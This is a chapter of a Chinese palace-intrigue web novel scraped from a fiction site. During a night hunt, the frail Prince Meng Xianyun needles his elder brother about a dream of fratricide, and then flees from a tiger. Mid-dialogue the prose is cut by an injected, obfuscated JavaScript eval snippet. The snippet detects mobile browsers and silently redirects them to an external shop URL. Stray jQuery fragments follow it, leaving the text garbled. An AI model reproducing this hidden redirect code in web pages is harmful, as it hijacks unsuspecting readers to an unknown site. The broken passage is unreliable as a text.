文趣网 > 玄幻小说 > 为帝 > 5. 非是梦里见仇敌
    一直到入夜,孟显允所斩获的猎物都少得可怜,够得上称的野物都让李直曲和孟华允抢先射杀了去。

    乔睿和邓戚心中讶异,只是皇子之间的波涛诡谲不是他们这些做下属的能置喙的,大人物们手掌一翻转,就不知道有多人要遭殃。并没有表现出什么。

    夜里子时一过,乔睿交替邓戚值夜,他守在篝火边,背靠树身抱剑假寐。

    夜幕吞墨,星光隐曜,周遭只余草间秋虫一两声乏力的鸣叫,衬出秋夜里的寂静寒凉。

    帐篷里,三山一直等听到孟显允平稳的呼吸声后才放心地合上了眼皮。

    但还不等他家主子睡上那么一会儿,外头就传来了聒噪的叫嚷,钝刀子一般强硬地割开了帷幕——

    “去里头拿两件皮袄出来!”

    “这外头冷得人受不了!”

    李直曲突然发声,在寂静的夜里显得格外突兀,催促声落在三山的耳朵里就像三伏天槐树叶下的蝉鬼。

    烦人极了!

    显而易见,孟显允原先平稳的呼吸逐渐变得沉重,气息短促又紊乱。

    他被帐篷外的声响刺激,想强撑着醒来却再次被沉重的梦魇拖住了身躯,解脱不得。

    塌下的三山两只手紧紧攥住薄毯边,在心里头咒骂:

    这李世子一天天的!!!

    事怎么就那么多?!

    那么烦呢!!!

    自个儿甩下了侍卫啥也没带,干粮干粮吃他们的、帐篷帐篷拿他们的、猎物也让他们抢,现在十一殿下好不容易睡下了又来要皮袄?

    早干嘛去了!

    三山卷过身侧的薄毯,憋着一肚子气轻手轻脚地走了出去。

    当三山见到站在火堆旁的李直曲和孟华允后,他行过礼,将声音压低的同时将手里的毯子递了过去。

    “六殿下安好。”

    “此次出行准备不足,十一殿下身边就只有这条薄毯了,还请六殿下将就着用下。”

    李直曲拿到毛毯,神情说不出的嫌弃:“你家主子呢?”

    三山:“殿下日里累着了,现已经睡下,世子爷若是有话要同十一殿下讲,还请明日吧。”

    “哟,你这奴才怪不识好歹。”李直曲可没打算消停,他道:“六殿下夜不能寐,十一殿下作为弟弟不出来敬问兄长,他不孝不悌竟也不觉得心慌?””

    三山将身子弯得更低更谦卑,道:“奴才人微言轻,要死要活那都是皇上皇后娘娘一句话的事,但有些话、有些莫须有的罪名奴才可不敢替主子认。”

    他抬起脸,讨喜的圆脸上堆着笑,眼睛微眯,精光一闪而过:“不孝不悌,这个词奴才不懂,但奴才记性还算过得去,好像没听皇上皇后娘娘这般说过。”

    孟华允同孟显允是皇家子弟,该认的人、该听的话得由那位九五至尊说了才算。

    李直曲即便是国公世子,那也不能明着给孟显允泼脏水。

    李直曲听完三山的话脸色精彩极了,但事实还真如三山所说——李直曲动不了三山,更动不了孟显允。

    他二人身后不仅有皇后,更有在秋狩时对孟显允颇为垂爱的皇上。

    三山再次躬身低首,体贴着说:“夜里凉,殿下与世子多多注意,切莫染上了风寒,奴才先行告退。”

    被暗地里顶了两句的李直曲气从心来,表情几度变化再也挂不住。

    今晚他李逢泽还就不想让孟显允睡这个觉了!

    孟华允这次没拦着——扰人清梦而已,孟显允不是懂礼知进退吗?

    那必不然会计较逢泽的唐突不是吗?

    李直曲大步一跨去掀帐篷的帘子。

    三山:“!”

    李直曲:“十一殿下,可做了好梦啊?!”

    三山压根来不及挡下,在李直曲伸手过去一刹,帘子此刻却意外地从内至外掀开——

    一道冷白的手背托起并不厚实的帘边,月光顺着缝隙的扩大落在了那人的身上。

    孟显允穿着单薄的素色中单里衣,几缕发丝随着他的动作垂至身前,勾出两笔好看的墨痕同外披的鹤纹氅衣被秋风吹动。

    “逢泽,尔月夜相邀,有何见教?”

    孟显允垂眸,微微咳嗽了两声后再抬起,月光照映下眼睫落成一片狭状的蝶影:“逢泽为何不言语?”

    李直曲要比孟显允高不少,气势合该强些,可他望着走到身前的孟显允,视线总忍不住落在孟显允那病态且鲜红的嘴唇上,李直曲突然又觉得孟显允大抵是栖住在白梅骨瓷美人瓶里的鬼魅。

    飘飘忽忽,明明暗暗。

    那么有本事、那般强硬,怎么这会子落在他的眼里就又不是那么一回事了呢?

    总不至于是因夜半起床艰难?

    不能吧?

    孟显允不是历来勤勉吗?

    怎么这点都做不到?

    孟华允见孟显允脸色不对,转而询问:“十一弟睡不好?”

    “是啊,六哥,我最近常做梦。”孟显允避过孟华允的眼神,神色疲乏不欲多言。

    “哦?十一弟梦到了什么。”孟华允一边踏着步子向前,一边直直地盯着孟显允的双眼不放,他居高临下趁火打劫地压迫对方。

    孟显允似乎是真的不太舒服,脸色煞白又孱弱,与平日里的模样大相径庭。

    那从口中而出声音又轻又缓,无力得像是在退让求饶:“六哥,我好怕……”

    孟显允话一落下,乔睿便带上早已转醒的邓戚十分默契地退出了几人的身侧。

    “方才……我梦到有人在追杀我。”孟显允再轻声咳了片刻,“我在梦里逃、一直逃,直到跑不动了……”

    孟华允:“你如何?”

    孟显允神情飘忽,好似还在梦中:“我见到了一口井……于是就“咚”地一下,跳了进去。”

    孟华允冷冷地训斥道:“皇子自尽,何其荒唐!”

    “你不该——”

    “六哥——”孟显允突然打断话语,冲着孟华允幽然一笑::“六哥不想知道追着要杀我的人是谁吗?”

    孟显允缓步走到孟华允的身边,声音仍旧很轻。

    “我梦到……”

    孟显允的笑在脸上延伸,在灰暗的夜里显得怪诞惊惧:“我梦到“哥哥”在追杀我,他要我的项上人头去登帝座——”

    孟华允:“!”

    孟华允被这话冲得身形一怔:“老十一,你莫不是睡昏了头?!”

    皇家之中的勾心斗角向来是以生死前途做赌注,但像孟显允这样直接将众人明了的龌龊心思摆在明面上来,说一句“大不韪”都不算过。

    可偏偏孟显允的神色是如此平静。

    毫不在意众人心思翻涌。

    疯了吗不成?!

    孟显允问先前掀帐篷的李直曲:“逢泽世子,你觉得这事会成真吗?”

    李直曲猝不及防,干巴巴地答:“十一殿下怕不是还在梦中吧?六殿下是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490799|202214||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你的至亲手足,怎会如此呢……”

    李直曲话音一落地就被孟华允狠狠地瞪了一眼!

    李直曲当即噤声。

    孟显允:“世子说得对,怎会如此……”

    秋风穿林,外氅微动,在冷然的月光照耀下孟华允觉得孟显允的笑可恶极了。

    孟显允:“定然是梦鬼作祟,都是假的。怎么会有哥哥杀弟弟这般阋墙逆事呢?”

    孟显允笑着复问:“你说是吧,六哥?”

    孟华允:“……”

    孟华允发觉先前没能拦住李直曲还真是个错误。

    孟显允心中全然不在意二人的神色,因为他自己比任何人都清楚梦的真假。

    哪有什么哥哥杀弟弟?

    梦是假的。

    都是反的。

    气氛被有意凝滞,眉来眼去的相互暗示一瞬间消弭,众人都在自己的心里滋生着算计。

    孟华允绕了千百个弯在想:老十一是对自己白日里的抢夺不满?想让自己收手?可他又何必说什么“兄杀少弟”的话?

    皇家的事若是都能按“兄终弟及”的顺序来,他孟华允现在又何必待着这里?

    不如直接去东宫投毒,将太子药死后一切好说。

    孟华允不断地猜度孟显允先前话语里的含义,李直曲则盯着压根没抬过头的三山。

    ——要不是这狗奴才生事,他怎么会说错话?

    就当气氛会一直这般死寂下去时,站在一边的乔睿像是听到了什么,他神色微变,侧耳凝神去听——

    凌乱的马蹄践踏疾驰,重物嘭然落地!

    风中传来的声音破碎尖细,带着强烈的惊恐情绪——是女人的求救声!

    邓戚也意识到了不对劲,在乔睿翻身上马后,他当即扬声喝道:

    “野兽来袭!”

    “殿下——警戒!!!”

    乔睿:“殿下,东南向情况有异,有一行人,两匹马正在朝我们奔逃而来!殿下请快上马!”

    闻言,三山猛地扎进帐篷里!

    三山赶忙拿出孟显允的薄甲和长刀,手脚麻利地将袖箭扣在孟显允腕间。

    主仆二人动作极快,在李直曲还没反应过来时,孟显允已经骑在了马背上。

    凌乱的马蹄声越来越近,就连篝火堆都被带来的风卷出了火星子,耳旁隐约传来若有似无的吼声。

    李直曲四处张望:“不……这怎么回事?!诶!”

    “出了什么事?!”

    孟华允见状也解开马匹的绳索,并对李直曲喊道:“逢泽别愣着,赶紧上马!”

    乔睿耳力过人,他已经听到了隐藏在马蹄声中的低沉咆哮,那种令人骨子里都发麻的威慑力令他不禁握紧了手中的刀把。

    是逃?

    还是战?

    孟显允眼神一略,扫过在场几人,未说只言片语。

    乔睿横转刀身,做好准备。

    只待一声令下。

    “吁——!”

    ——只见孟显允夹紧马腹,远疾冲入林间逃得飞快,别说反抗了,他孟显允连头都没回一下。

    孟华允和李直曲:“……”

    孟显允不是要露脸吗?

    就这样跑了?!

    “吼——!”不待二人细想,虎啸声自身后林间乍起!

    李直曲这时才面露恐惧——什么露脸?!

    孟显允跑的那么快分明是要让他们在此处喂老虎!